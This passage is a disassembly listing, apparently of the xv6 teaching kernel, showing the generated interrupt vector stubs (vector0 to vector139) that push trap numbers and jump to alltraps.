80106e1c: 90 nop 80106e1d: c9 leave 80106e1e: c3 ret 80106e1f <vector0>: # generated by vectors.pl - do not edit # handlers .globl alltraps .globl vector0 vector0: pushl $0 80106e1f: 6a 00 push $0x0 pushl $0 80106e21: 6a 00 push $0x0 jmp alltraps 80106e23: e9 a6 f9 ff ff jmp 801067ce <alltraps> 80106e28 <vector1>: .globl vector1 vector1: pushl $0 80106e28: 6a 00 push $0x0 pushl $1 80106e2a: 6a 01 push $0x1 jmp alltraps 80106e2c: e9 9d f9 ff ff jmp 801067ce <alltraps> 80106e31 <vector2>: .globl vector2 vector2: pushl $0 80106e31: 6a 00 push $0x0 pushl $2 80106e33: 6a 02 push $0x2 jmp alltraps 80106e35: e9 94 f9 ff ff jmp 801067ce <alltraps> 80106e3a <vector3>: .globl vector3 vector3: pushl $0 80106e3a: 6a 00 push $0x0 pushl $3 80106e3c: 6a 03 push $0x3 jmp alltraps 80106e3e: e9 8b f9 ff ff jmp 801067ce <alltraps> 80106e43 <vector4>: .globl vector4 vector4: pushl $0 80106e43: 6a 00 push $0x0 pushl $4 80106e45: 6a 04 push $0x4 jmp alltraps 80106e47: e9 82 f9 ff ff jmp 801067ce <alltraps> 80106e4c <vector5>: .globl vector5 vector5: pushl $0 80106e4c: 6a 00 push $0x0 pushl $5 80106e4e: 6a 05 push $0x5 jmp alltraps 80106e50: e9 79 f9 ff ff jmp 801067ce <alltraps> 80106e55 <vector6>: .globl vector6 vector6: pushl $0 80106e55: 6a 00 push $0x0 pushl $6 80106e57: 6a 06 push $0x6 jmp alltraps 80106e59: e9 70 f9 ff ff jmp 801067ce <alltraps> 80106e5e <vector7>: .globl vector7 vector7: pushl $0 80106e5e: 6a 00 push $0x0 pushl $7 80106e60: 6a 07 push $0x7 jmp alltraps 80106e62: e9 67 f9 ff ff jmp 801067ce <alltraps> 80106e67 <vector8>: .globl vector8 vector8: pushl $8 80106e67: 6a 08 push $0x8 jmp alltraps 80106e69: e9 60 f9 ff ff jmp 801067ce <alltraps> 80106e6e <vector9>: .globl vector9 vector9: pushl $0 80106e6e: 6a 00 push $0x0 pushl $9 80106e70: 6a 09 push $0x9 jmp alltraps 80106e72: e9 57 f9 ff ff jmp 801067ce <alltraps> 80106e77 <vector10>: .globl vector10 vector10: pushl $10 80106e77: 6a 0a push $0xa jmp alltraps 80106e79: e9 50 f9 ff ff jmp 801067ce <alltraps> 80106e7e <vector11>: .globl vector11 vector11: pushl $11 80106e7e: 6a 0b push $0xb jmp alltraps 80106e80: e9 49 f9 ff ff jmp 801067ce <alltraps> 80106e85 <vector12>: .globl vector12 vector12: pushl $12 80106e85: 6a 0c push $0xc jmp alltraps 80106e87: e9 42 f9 ff ff jmp 801067ce <alltraps> 80106e8c <vector13>: .globl vector13 vector13: pushl $13 80106e8c: 6a 0d push $0xd jmp alltraps 80106e8e: e9 3b f9 ff ff jmp 801067ce <alltraps> 80106e93 <vector14>: .globl vector14 vector14: pushl $14 80106e93: 6a 0e push $0xe jmp alltraps 80106e95: e9 34 f9 ff ff jmp 801067ce <alltraps> 80106e9a <vector15>: .globl vector15 vector15: pushl $0 80106e9a: 6a 00 push $0x0 pushl $15 80106e9c: 6a 0f push $0xf jmp alltraps 80106e9e: e9 2b f9 ff ff jmp 801067ce <alltraps> 80106ea3 <vector16>: .globl vector16 vector16: pushl $0 80106ea3: 6a 00 push $0x0 pushl $16 80106ea5: 6a 10 push $0x10 jmp alltraps 80106ea7: e9 22 f9 ff ff jmp 801067ce <alltraps> 80106eac <vector17>: .globl vector17 vector17: pushl $17 80106eac: 6a 11 push $0x11 jmp alltraps 80106eae: e9 1b f9 ff ff jmp 801067ce <alltraps> 80106eb3 <vector18>: .globl vector18 vector18: pushl $0 80106eb3: 6a 00 push $0x0 pushl $18 80106eb5: 6a 12 push $0x12 jmp alltraps 80106eb7: e9 12 f9 ff ff jmp 801067ce <alltraps> 80106ebc <vector19>: .globl vector19 vector19: pushl $0 80106ebc: 6a 00 push $0x0 pushl $19 80106ebe: 6a 13 push $0x13 jmp alltraps 80106ec0: e9 09 f9 ff ff jmp 801067ce <alltraps> 80106ec5 <vector20>: .globl vector20 vector20: pushl $0 80106ec5: 6a 00 push $0x0 pushl $20 80106ec7: 6a 14 push $0x14 jmp alltraps 80106ec9: e9 00 f9 ff ff jmp 801067ce <alltraps> 80106ece <vector21>: .globl vector21 vector21: pushl $0 80106ece: 6a 00 push $0x0 pushl $21 80106ed0: 6a 15 push $0x15 jmp alltraps 80106ed2: e9 f7 f8 ff ff jmp 801067ce <alltraps> 80106ed7 <vector22>: .globl vector22 vector22: pushl $0 80106ed7: 6a 00 push $0x0 pushl $22 80106ed9: 6a 16 push $0x16 jmp alltraps 80106edb: e9 ee f8 ff ff jmp 801067ce <alltraps> 80106ee0 <vector23>: .globl vector23 vector23: pushl $0 80106ee0: 6a 00 push $0x0 pushl $23 80106ee2: 6a 17 push $0x17 jmp alltraps 80106ee4: e9 e5 f8 ff ff jmp 801067ce <alltraps> 80106ee9 <vector24>: .globl vector24 vector24: pushl $0 80106ee9: 6a 00 push $0x0 pushl $24 80106eeb: 6a 18 push $0x18 jmp alltraps 80106eed: e9 dc f8 ff ff jmp 801067ce <alltraps> 80106ef2 <vector25>: .globl vector25 vector25: pushl $0 80106ef2: 6a 00 push $0x0 pushl $25 80106ef4: 6a 19 push $0x19 jmp alltraps 80106ef6: e9 d3 f8 ff ff jmp 801067ce <alltraps> 80106efb <vector26>: .globl vector26 vector26: pushl $0 80106efb: 6a 00 push $0x0 pushl $26 80106efd: 6a 1a push $0x1a jmp alltraps 80106eff: e9 ca f8 ff ff jmp 801067ce <alltraps> 80106f04 <vector27>: .globl vector27 vector27: pushl $0 80106f04: 6a 00 push $0x0 pushl $27 80106f06: 6a 1b push $0x1b jmp alltraps 80106f08: e9 c1 f8 ff ff jmp 801067ce <alltraps> 80106f0d <vector28>: .globl vector28 vector28: pushl $0 80106f0d: 6a 00 push $0x0 pushl $28 80106f0f: 6a 1c push $0x1c jmp alltraps 80106f11: e9 b8 f8 ff ff jmp 801067ce <alltraps> 80106f16 <vector29>: .globl vector29 vector29: pushl $0 80106f16: 6a 00 push $0x0 pushl $29 80106f18: 6a 1d push $0x1d jmp alltraps 80106f1a: e9 af f8 ff ff jmp 801067ce <alltraps> 80106f1f <vector30>: .globl vector30 vector30: pushl $0 80106f1f: 6a 00 push $0x0 pushl $30 80106f21: 6a 1e push $0x1e jmp alltraps 80106f23: e9 a6 f8 ff ff jmp 801067ce <alltraps> 80106f28 <vector31>: .globl vector31 vector31: pushl $0 80106f28: 6a 00 push $0x0 pushl $31 80106f2a: 6a 1f push $0x1f jmp alltraps 80106f2c: e9 9d f8 ff ff jmp 801067ce <alltraps> 80106f31 <vector32>: .globl vector32 vector32: pushl $0 80106f31: 6a 00 push $0x0 pushl $32 80106f33: 6a 20 push $0x20 jmp alltraps 80106f35: e9 94 f8 ff ff jmp 801067ce <alltraps> 80106f3a <vector33>: .globl vector33 vector33: pushl $0 80106f3a: 6a 00 push $0x0 pushl $33 80106f3c: 6a 21 push $0x21 jmp alltraps 80106f3e: e9 8b f8 ff ff jmp 801067ce <alltraps> 80106f43 <vector34>: .globl vector34 vector34: pushl $0 80106f43: 6a 00 push $0x0 pushl $34 80106f45: 6a 22 push $0x22 jmp alltraps 80106f47: e9 82 f8 ff ff jmp 801067ce <alltraps> 80106f4c <vector35>: .globl vector35 vector35: pushl $0 80106f4c: 6a 00 push $0x0 pushl $35 80106f4e: 6a 23 push $0x23 jmp alltraps 80106f50: e9 79 f8 ff ff jmp 801067ce <alltraps> 80106f55 <vector36>: .globl vector36 vector36: pushl $0 80106f55: 6a 00 push $0x0 pushl $36 80106f57: 6a 24 push $0x24 jmp alltraps 80106f59: e9 70 f8 ff ff jmp 801067ce <alltraps> 80106f5e <vector37>: .globl vector37 vector37: pushl $0 80106f5e: 6a 00 push $0x0 pushl $37 80106f60: 6a 25 push $0x25 jmp alltraps 80106f62: e9 67 f8 ff ff jmp 801067ce <alltraps> 80106f67 <vector38>: .globl vector38 vector38: pushl $0 80106f67: 6a 00 push $0x0 pushl $38 80106f69: 6a 26 push $0x26 jmp alltraps 80106f6b: e9 5e f8 ff ff jmp 801067ce <alltraps> 80106f70 <vector39>: .globl vector39 vector39: pushl $0 80106f70: 6a 00 push $0x0 pushl $39 80106f72: 6a 27 push $0x27 jmp alltraps 80106f74: e9 55 f8 ff ff jmp 801067ce <alltraps> 80106f79 <vector40>: .globl vector40 vector40: pushl $0 80106f79: 6a 00 push $0x0 pushl $40 80106f7b: 6a 28 push $0x28 jmp alltraps 80106f7d: e9 4c f8 ff ff jmp 801067ce <alltraps> 80106f82 <vector41>: .globl vector41 vector41: pushl $0 80106f82: 6a 00 push $0x0 pushl $41 80106f84: 6a 29 push $0x29 jmp alltraps 80106f86: e9 43 f8 ff ff jmp 801067ce <alltraps> 80106f8b <vector42>: .globl vector42 vector42: pushl $0 80106f8b: 6a 00 push $0x0 pushl $42 80106f8d: 6a 2a push $0x2a jmp alltraps 80106f8f: e9 3a f8 ff ff jmp 801067ce <alltraps> 80106f94 <vector43>: .globl vector43 vector43: pushl $0 80106f94: 6a 00 push $0x0 pushl $43 80106f96: 6a 2b push $0x2b jmp alltraps 80106f98: e9 31 f8 ff ff jmp 801067ce <alltraps> 80106f9d <vector44>: .globl vector44 vector44: pushl $0 80106f9d: 6a 00 push $0x0 pushl $44 80106f9f: 6a 2c push $0x2c jmp alltraps 80106fa1: e9 28 f8 ff ff jmp 801067ce <alltraps> 80106fa6 <vector45>: .globl vector45 vector45: pushl $0 80106fa6: 6a 00 push $0x0 pushl $45 80106fa8: 6a 2d push $0x2d jmp alltraps 80106faa: e9 1f f8 ff ff jmp 801067ce <alltraps> 80106faf <vector46>: .globl vector46 vector46: pushl $0 80106faf: 6a 00 push $0x0 pushl $46 80106fb1: 6a 2e push $0x2e jmp alltraps 80106fb3: e9 16 f8 ff ff jmp 801067ce <alltraps> 80106fb8 <vector47>: .globl vector47 vector47: pushl $0 80106fb8: 6a 00 push $0x0 pushl $47 80106fba: 6a 2f push $0x2f jmp alltraps 80106fbc: e9 0d f8 ff ff jmp 801067ce <alltraps> 80106fc1 <vector48>: .globl vector48 vector48: pushl $0 80106fc1: 6a 00 push $0x0 pushl $48 80106fc3: 6a 30 push $0x30 jmp alltraps 80106fc5: e9 04 f8 ff ff jmp 801067ce <alltraps> 80106fca <vector49>: .globl vector49 vector49: pushl $0 80106fca: 6a 00 push $0x0 pushl $49 80106fcc: 6a 31 push $0x31 jmp alltraps 80106fce: e9 fb f7 ff ff jmp 801067ce <alltraps> 80106fd3 <vector50>: .globl vector50 vector50: pushl $0 80106fd3: 6a 00 push $0x0 pushl $50 80106fd5: 6a 32 push $0x32 jmp alltraps 80106fd7: e9 f2 f7 ff ff jmp 801067ce <alltraps> 80106fdc <vector51>: .globl vector51 vector51: pushl $0 80106fdc: 6a 00 push $0x0 pushl $51 80106fde: 6a 33 push $0x33 jmp alltraps 80106fe0: e9 e9 f7 ff ff jmp 801067ce <alltraps> 80106fe5 <vector52>: .globl vector52 vector52: pushl $0 80106fe5: 6a 00 push $0x0 pushl $52 80106fe7: 6a 34 push $0x34 jmp alltraps 80106fe9: e9 e0 f7 ff ff jmp 801067ce <alltraps> 80106fee <vector53>: .globl vector53 vector53: pushl $0 80106fee: 6a 00 push $0x0 pushl $53 80106ff0: 6a 35 push $0x35 jmp alltraps 80106ff2: e9 d7 f7 ff ff jmp 801067ce <alltraps> 80106ff7 <vector54>: .globl vector54 vector54: pushl $0 80106ff7: 6a 00 push $0x0 pushl $54 80106ff9: 6a 36 push $0x36 jmp alltraps 80106ffb: e9 ce f7 ff ff jmp 801067ce <alltraps> 80107000 <vector55>: .globl vector55 vector55: pushl $0 80107000: 6a 00 push $0x0 pushl $55 80107002: 6a 37 push $0x37 jmp alltraps 80107004: e9 c5 f7 ff ff jmp 801067ce <alltraps> 80107009 <vector56>: .globl vector56 vector56: pushl $0 80107009: 6a 00 push $0x0 pushl $56 8010700b: 6a 38 push $0x38 jmp alltraps 8010700d: e9 bc f7 ff ff jmp 801067ce <alltraps> 80107012 <vector57>: .globl vector57 vector57: pushl $0 80107012: 6a 00 push $0x0 pushl $57 80107014: 6a 39 push $0x39 jmp alltraps 80107016: e9 b3 f7 ff ff jmp 801067ce <alltraps> 8010701b <vector58>: .globl vector58 vector58: pushl $0 8010701b: 6a 00 push $0x0 pushl $58 8010701d: 6a 3a push $0x3a jmp alltraps 8010701f: e9 aa f7 ff ff jmp 801067ce <alltraps> 80107024 <vector59>: .globl vector59 vector59: pushl $0 80107024: 6a 00 push $0x0 pushl $59 80107026: 6a 3b push $0x3b jmp alltraps 80107028: e9 a1 f7 ff ff jmp 801067ce <alltraps> 8010702d <vector60>: .globl vector60 vector60: pushl $0 8010702d: 6a 00 push $0x0 pushl $60 8010702f: 6a 3c push $0x3c jmp alltraps 80107031: e9 98 f7 ff ff jmp 801067ce <alltraps> 80107036 <vector61>: .globl vector61 vector61: pushl $0 80107036: 6a 00 push $0x0 pushl $61 80107038: 6a 3d push $0x3d jmp alltraps 8010703a: e9 8f f7 ff ff jmp 801067ce <alltraps> 8010703f <vector62>: .globl vector62 vector62: pushl $0 8010703f: 6a 00 push $0x0 pushl $62 80107041: 6a 3e push $0x3e jmp alltraps 80107043: e9 86 f7 ff ff jmp 801067ce <alltraps> 80107048 <vector63>: .globl vector63 vector63: pushl $0 80107048: 6a 00 push $0x0 pushl $63 8010704a: 6a 3f push $0x3f jmp alltraps 8010704c: e9 7d f7 ff ff jmp 801067ce <alltraps> 80107051 <vector64>: .globl vector64 vector64: pushl $0 80107051: 6a 00 push $0x0 pushl $64 80107053: 6a 40 push $0x40 jmp alltraps 80107055: e9 74 f7 ff ff jmp 801067ce <alltraps> 8010705a <vector65>: .globl vector65 vector65: pushl $0 8010705a: 6a 00 push $0x0 pushl $65 8010705c: 6a 41 push $0x41 jmp alltraps 8010705e: e9 6b f7 ff ff jmp 801067ce <alltraps> 80107063 <vector66>: .globl vector66 vector66: pushl $0 80107063: 6a 00 push $0x0 pushl $66 80107065: 6a 42 push $0x42 jmp alltraps 80107067: e9 62 f7 ff ff jmp 801067ce <alltraps> 8010706c <vector67>: .globl vector67 vector67: pushl $0 8010706c: 6a 00 push $0x0 pushl $67 8010706e: 6a 43 push $0x43 jmp alltraps 80107070: e9 59 f7 ff ff jmp 801067ce <alltraps> 80107075 <vector68>: .globl vector68 vector68: pushl $0 80107075: 6a 00 push $0x0 pushl $68 80107077: 6a 44 push $0x44 jmp alltraps 80107079: e9 50 f7 ff ff jmp 801067ce <alltraps> 8010707e <vector69>: .globl vector69 vector69: pushl $0 8010707e: 6a 00 push $0x0 pushl $69 80107080: 6a 45 push $0x45 jmp alltraps 80107082: e9 47 f7 ff ff jmp 801067ce <alltraps> 80107087 <vector70>: .globl vector70 vector70: pushl $0 80107087: 6a 00 push $0x0 pushl $70 80107089: 6a 46 push $0x46 jmp alltraps 8010708b: e9 3e f7 ff ff jmp 801067ce <alltraps> 80107090 <vector71>: .globl vector71 vector71: pushl $0 80107090: 6a 00 push $0x0 pushl $71 80107092: 6a 47 push $0x47 jmp alltraps 80107094: e9 35 f7 ff ff jmp 801067ce <alltraps> 80107099 <vector72>: .globl vector72 vector72: pushl $0 80107099: 6a 00 push $0x0 pushl $72 8010709b: 6a 48 push $0x48 jmp alltraps 8010709d: e9 2c f7 ff ff jmp 801067ce <alltraps> 801070a2 <vector73>: .globl vector73 vector73: pushl $0 801070a2: 6a 00 push $0x0 pushl $73 801070a4: 6a 49 push $0x49 jmp alltraps 801070a6: e9 23 f7 ff ff jmp 801067ce <alltraps> 801070ab <vector74>: .globl vector74 vector74: pushl $0 801070ab: 6a 00 push $0x0 pushl $74 801070ad: 6a 4a push $0x4a jmp alltraps 801070af: e9 1a f7 ff ff jmp 801067ce <alltraps> 801070b4 <vector75>: .globl vector75 vector75: pushl $0 801070b4: 6a 00 push $0x0 pushl $75 801070b6: 6a 4b push $0x4b jmp alltraps 801070b8: e9 11 f7 ff ff jmp 801067ce <alltraps> 801070bd <vector76>: .globl vector76 vector76: pushl $0 801070bd: 6a 00 push $0x0 pushl $76 801070bf: 6a 4c push $0x4c jmp alltraps 801070c1: e9 08 f7 ff ff jmp 801067ce <alltraps> 801070c6 <vector77>: .globl vector77 vector77: pushl $0 801070c6: 6a 00 push $0x0 pushl $77 801070c8: 6a 4d push $0x4d jmp alltraps 801070ca: e9 ff f6 ff ff jmp 801067ce <alltraps> 801070cf <vector78>: .globl vector78 vector78: pushl $0 801070cf: 6a 00 push $0x0 pushl $78 801070d1: 6a 4e push $0x4e jmp alltraps 801070d3: e9 f6 f6 ff ff jmp 801067ce <alltraps> 801070d8 <vector79>: .globl vector79 vector79: pushl $0 801070d8: 6a 00 push $0x0 pushl $79 801070da: 6a 4f push $0x4f jmp alltraps 801070dc: e9 ed f6 ff ff jmp 801067ce <alltraps> 801070e1 <vector80>: .globl vector80 vector80: pushl $0 801070e1: 6a 00 push $0x0 pushl $80 801070e3: 6a 50 push $0x50 jmp alltraps 801070e5: e9 e4 f6 ff ff jmp 801067ce <alltraps> 801070ea <vector81>: .globl vector81 vector81: pushl $0 801070ea: 6a 00 push $0x0 pushl $81 801070ec: 6a 51 push $0x51 jmp alltraps 801070ee: e9 db f6 ff ff jmp 801067ce <alltraps> 801070f3 <vector82>: .globl vector82 vector82: pushl $0 801070f3: 6a 00 push $0x0 pushl $82 801070f5: 6a 52 push $0x52 jmp alltraps 801070f7: e9 d2 f6 ff ff jmp 801067ce <alltraps> 801070fc <vector83>: .globl vector83 vector83: pushl $0 801070fc: 6a 00 push $0x0 pushl $83 801070fe: 6a 53 push $0x53 jmp alltraps 80107100: e9 c9 f6 ff ff jmp 801067ce <alltraps> 80107105 <vector84>: .globl vector84 vector84: pushl $0 80107105: 6a 00 push $0x0 pushl $84 80107107: 6a 54 push $0x54 jmp alltraps 80107109: e9 c0 f6 ff ff jmp 801067ce <alltraps> 8010710e <vector85>: .globl vector85 vector85: pushl $0 8010710e: 6a 00 push $0x0 pushl $85 80107110: 6a 55 push $0x55 jmp alltraps 80107112: e9 b7 f6 ff ff jmp 801067ce <alltraps> 80107117 <vector86>: .globl vector86 vector86: pushl $0 80107117: 6a 00 push $0x0 pushl $86 80107119: 6a 56 push $0x56 jmp alltraps 8010711b: e9 ae f6 ff ff jmp 801067ce <alltraps> 80107120 <vector87>: .globl vector87 vector87: pushl $0 80107120: 6a 00 push $0x0 pushl $87 80107122: 6a 57 push $0x57 jmp alltraps 80107124: e9 a5 f6 ff ff jmp 801067ce <alltraps> 80107129 <vector88>: .globl vector88 vector88: pushl $0 80107129: 6a 00 push $0x0 pushl $88 8010712b: 6a 58 push $0x58 jmp alltraps 8010712d: e9 9c f6 ff ff jmp 801067ce <alltraps> 80107132 <vector89>: .globl vector89 vector89: pushl $0 80107132: 6a 00 push $0x0 pushl $89 80107134: 6a 59 push $0x59 jmp alltraps 80107136: e9 93 f6 ff ff jmp 801067ce <alltraps> 8010713b <vector90>: .globl vector90 vector90: pushl $0 8010713b: 6a 00 push $0x0 pushl $90 8010713d: 6a 5a push $0x5a jmp alltraps 8010713f: e9 8a f6 ff ff jmp 801067ce <alltraps> 80107144 <vector91>: .globl vector91 vector91: pushl $0 80107144: 6a 00 push $0x0 pushl $91 80107146: 6a 5b push $0x5b jmp alltraps 80107148: e9 81 f6 ff ff jmp 801067ce <alltraps> 8010714d <vector92>: .globl vector92 vector92: pushl $0 8010714d: 6a 00 push $0x0 pushl $92 8010714f: 6a 5c push $0x5c jmp alltraps 80107151: e9 78 f6 ff ff jmp 801067ce <alltraps> 80107156 <vector93>: .globl vector93 vector93: pushl $0 80107156: 6a 00 push $0x0 pushl $93 80107158: 6a 5d push $0x5d jmp alltraps 8010715a: e9 6f f6 ff ff jmp 801067ce <alltraps> 8010715f <vector94>: .globl vector94 vector94: pushl $0 8010715f: 6a 00 push $0x0 pushl $94 80107161: 6a 5e push $0x5e jmp alltraps 80107163: e9 66 f6 ff ff jmp 801067ce <alltraps> 80107168 <vector95>: .globl vector95 vector95: pushl $0 80107168: 6a 00 push $0x0 pushl $95 8010716a: 6a 5f push $0x5f jmp alltraps 8010716c: e9 5d f6 ff ff jmp 801067ce <alltraps> 80107171 <vector96>: .globl vector96 vector96: pushl $0 80107171: 6a 00 push $0x0 pushl $96 80107173: 6a 60 push $0x60 jmp alltraps 80107175: e9 54 f6 ff ff jmp 801067ce <alltraps> 8010717a <vector97>: .globl vector97 vector97: pushl $0 8010717a: 6a 00 push $0x0 pushl $97 8010717c: 6a 61 push $0x61 jmp alltraps 8010717e: e9 4b f6 ff ff jmp 801067ce <alltraps> 80107183 <vector98>: .globl vector98 vector98: pushl $0 80107183: 6a 00 push $0x0 pushl $98 80107185: 6a 62 push $0x62 jmp alltraps 80107187: e9 42 f6 ff ff jmp 801067ce <alltraps> 8010718c <vector99>: .globl vector99 vector99: pushl $0 8010718c: 6a 00 push $0x0 pushl $99 8010718e: 6a 63 push $0x63 jmp alltraps 80107190: e9 39 f6 ff ff jmp 801067ce <alltraps> 80107195 <vector100>: .globl vector100 vector100: pushl $0 80107195: 6a 00 push $0x0 pushl $100 80107197: 6a 64 push $0x64 jmp alltraps 80107199: e9 30 f6 ff ff jmp 801067ce <alltraps> 8010719e <vector101>: .globl vector101 vector101: pushl $0 8010719e: 6a 00 push $0x0 pushl $101 801071a0: 6a 65 push $0x65 jmp alltraps 801071a2: e9 27 f6 ff ff jmp 801067ce <alltraps> 801071a7 <vector102>: .globl vector102 vector102: pushl $0 801071a7: 6a 00 push $0x0 pushl $102 801071a9: 6a 66 push $0x66 jmp alltraps 801071ab: e9 1e f6 ff ff jmp 801067ce <alltraps> 801071b0 <vector103>: .globl vector103 vector103: pushl $0 801071b0: 6a 00 push $0x0 pushl $103 801071b2: 6a 67 push $0x67 jmp alltraps 801071b4: e9 15 f6 ff ff jmp 801067ce <alltraps> 801071b9 <vector104>: .globl vector104 vector104: pushl $0 801071b9: 6a 00 push $0x0 pushl $104 801071bb: 6a 68 push $0x68 jmp alltraps 801071bd: e9 0c f6 ff ff jmp 801067ce <alltraps> 801071c2 <vector105>: .globl vector105 vector105: pushl $0 801071c2: 6a 00 push $0x0 pushl $105 801071c4: 6a 69 push $0x69 jmp alltraps 801071c6: e9 03 f6 ff ff jmp 801067ce <alltraps> 801071cb <vector106>: .globl vector106 vector106: pushl $0 801071cb: 6a 00 push $0x0 pushl $106 801071cd: 6a 6a push $0x6a jmp alltraps 801071cf: e9 fa f5 ff ff jmp 801067ce <alltraps> 801071d4 <vector107>: .globl vector107 vector107: pushl $0 801071d4: 6a 00 push $0x0 pushl $107 801071d6: 6a 6b push $0x6b jmp alltraps 801071d8: e9 f1 f5 ff ff jmp 801067ce <alltraps> 801071dd <vector108>: .globl vector108 vector108: pushl $0 801071dd: 6a 00 push $0x0 pushl $108 801071df: 6a 6c push $0x6c jmp alltraps 801071e1: e9 e8 f5 ff ff jmp 801067ce <alltraps> 801071e6 <vector109>: .globl vector109 vector109: pushl $0 801071e6: 6a 00 push $0x0 pushl $109 801071e8: 6a 6d push $0x6d jmp alltraps 801071ea: e9 df f5 ff ff jmp 801067ce <alltraps> 801071ef <vector110>: .globl vector110 vector110: pushl $0 801071ef: 6a 00 push $0x0 pushl $110 801071f1: 6a 6e push $0x6e jmp alltraps 801071f3: e9 d6 f5 ff ff jmp 801067ce <alltraps> 801071f8 <vector111>: .globl vector111 vector111: pushl $0 801071f8: 6a 00 push $0x0 pushl $111 801071fa: 6a 6f push $0x6f jmp alltraps 801071fc: e9 cd f5 ff ff jmp 801067ce <alltraps> 80107201 <vector112>: .globl vector112 vector112: pushl $0 80107201: 6a 00 push $0x0 pushl $112 80107203: 6a 70 push $0x70 jmp alltraps 80107205: e9 c4 f5 ff ff jmp 801067ce <alltraps> 8010720a <vector113>: .globl vector113 vector113: pushl $0 8010720a: 6a 00 push $0x0 pushl $113 8010720c: 6a 71 push $0x71 jmp alltraps 8010720e: e9 bb f5 ff ff jmp 801067ce <alltraps> 80107213 <vector114>: .globl vector114 vector114: pushl $0 80107213: 6a 00 push $0x0 pushl $114 80107215: 6a 72 push $0x72 jmp alltraps 80107217: e9 b2 f5 ff ff jmp 801067ce <alltraps> 8010721c <vector115>: .globl vector115 vector115: pushl $0 8010721c: 6a 00 push $0x0 pushl $115 8010721e: 6a 73 push $0x73 jmp alltraps 80107220: e9 a9 f5 ff ff jmp 801067ce <alltraps> 80107225 <vector116>: .globl vector116 vector116: pushl $0 80107225: 6a 00 push $0x0 pushl $116 80107227: 6a 74 push $0x74 jmp alltraps 80107229: e9 a0 f5 ff ff jmp 801067ce <alltraps> 8010722e <vector117>: .globl vector117 vector117: pushl $0 8010722e: 6a 00 push $0x0 pushl $117 80107230: 6a 75 push $0x75 jmp alltraps 80107232: e9 97 f5 ff ff jmp 801067ce <alltraps> 80107237 <vector118>: .globl vector118 vector118: pushl $0 80107237: 6a 00 push $0x0 pushl $118 80107239: 6a 76 push $0x76 jmp alltraps 8010723b: e9 8e f5 ff ff jmp 801067ce <alltraps> 80107240 <vector119>: .globl vector119 vector119: pushl $0 80107240: 6a 00 push $0x0 pushl $119 80107242: 6a 77 push $0x77 jmp alltraps 80107244: e9 85 f5 ff ff jmp 801067ce <alltraps> 80107249 <vector120>: .globl vector120 vector120: pushl $0 80107249: 6a 00 push $0x0 pushl $120 8010724b: 6a 78 push $0x78 jmp alltraps 8010724d: e9 7c f5 ff ff jmp 801067ce <alltraps> 80107252 <vector121>: .globl vector121 vector121: pushl $0 80107252: 6a 00 push $0x0 pushl $121 80107254: 6a 79 push $0x79 jmp alltraps 80107256: e9 73 f5 ff ff jmp 801067ce <alltraps> 8010725b <vector122>: .globl vector122 vector122: pushl $0 8010725b: 6a 00 push $0x0 pushl $122 8010725d: 6a 7a push $0x7a jmp alltraps 8010725f: e9 6a f5 ff ff jmp 801067ce <alltraps> 80107264 <vector123>: .globl vector123 vector123: pushl $0 80107264: 6a 00 push $0x0 pushl $123 80107266: 6a 7b push $0x7b jmp alltraps 80107268: e9 61 f5 ff ff jmp 801067ce <alltraps> 8010726d <vector124>: .globl vector124 vector124: pushl $0 8010726d: 6a 00 push $0x0 pushl $124 8010726f: 6a 7c push $0x7c jmp alltraps 80107271: e9 58 f5 ff ff jmp 801067ce <alltraps> 80107276 <vector125>: .globl vector125 vector125: pushl $0 80107276: 6a 00 push $0x0 pushl $125 80107278: 6a 7d push $0x7d jmp alltraps 8010727a: e9 4f f5 ff ff jmp 801067ce <alltraps> 8010727f <vector126>: .globl vector126 vector126: pushl $0 8010727f: 6a 00 push $0x0 pushl $126 80107281: 6a 7e push $0x7e jmp alltraps 80107283: e9 46 f5 ff ff jmp 801067ce <alltraps> 80107288 <vector127>: .globl vector127 vector127: pushl $0 80107288: 6a 00 push $0x0 pushl $127 8010728a: 6a 7f push $0x7f jmp alltraps 8010728c: e9 3d f5 ff ff jmp 801067ce <alltraps> 80107291 <vector128>: .globl vector128 vector128: pushl $0 80107291: 6a 00 push $0x0 pushl $128 80107293: 68 80 00 00 00 push $0x80 jmp alltraps 80107298: e9 31 f5 ff ff jmp 801067ce <alltraps> 8010729d <vector129>: .globl vector129 vector129: pushl $0 8010729d: 6a 00 push $0x0 pushl $129 8010729f: 68 81 00 00 00 push $0x81 jmp alltraps 801072a4: e9 25 f5 ff ff jmp 801067ce <alltraps> 801072a9 <vector130>: .globl vector130 vector130: pushl $0 801072a9: 6a 00 push $0x0 pushl $130 801072ab: 68 82 00 00 00 push $0x82 jmp alltraps 801072b0: e9 19 f5 ff ff jmp 801067ce <alltraps> 801072b5 <vector131>: .globl vector131 vector131: pushl $0 801072b5: 6a 00 push $0x0 pushl $131 801072b7: 68 83 00 00 00 push $0x83 jmp alltraps 801072bc: e9 0d f5 ff ff jmp 801067ce <alltraps> 801072c1 <vector132>: .globl vector132 vector132: pushl $0 801072c1: 6a 00 push $0x0 pushl $132 801072c3: 68 84 00 00 00 push $0x84 jmp alltraps 801072c8: e9 01 f5 ff ff jmp 801067ce <alltraps> 801072cd <vector133>: .globl vector133 vector133: pushl $0 801072cd: 6a 00 push $0x0 pushl $133 801072cf: 68 85 00 00 00 push $0x85 jmp alltraps 801072d4: e9 f5 f4 ff ff jmp 801067ce <alltraps> 801072d9 <vector134>: .globl vector134 vector134: pushl $0 801072d9: 6a 00 push $0x0 pushl $134 801072db: 68 86 00 00 00 push $0x86 jmp alltraps 801072e0: e9 e9 f4 ff ff jmp 801067ce <alltraps> 801072e5 <vector135>: .globl vector135 vector135: pushl $0 801072e5: 6a 00 push $0x0 pushl $135 801072e7: 68 87 00 00 00 push $0x87 jmp alltraps 801072ec: e9 dd f4 ff ff jmp 801067ce <alltraps> 801072f1 <vector136>: .globl vector136 vector136: pushl $0 801072f1: 6a 00 push $0x0 pushl $136 801072f3: 68 88 00 00 00 push $0x88 jmp alltraps 801072f8: e9 d1 f4 ff ff jmp 801067ce <alltraps> 801072fd <vector137>: .globl vector137 vector137: pushl $0 801072fd: 6a 00 push $0x0 pushl $137 801072ff: 68 89 00 00 00 push $0x89 jmp alltraps 80107304: e9 c5 f4 ff ff jmp 801067ce <alltraps> 80107309 <vector138>: .globl vector138 vector138: pushl $0 80107309: 6a 00 push $0x0 pushl $138 8010730b: 68 8a 00 00 00 push $0x8a jmp alltraps 80107310: e9 b9 f4 ff ff jmp 801067ce <alltraps> 80107315 <vector139>: .globl vector139 vector139: pushl $0 80107315: 6a 00 push $0x0 pushl $139 80107317: 68 8b 00 00 00 push $0x8b jmp alltraps 8010731c: e9 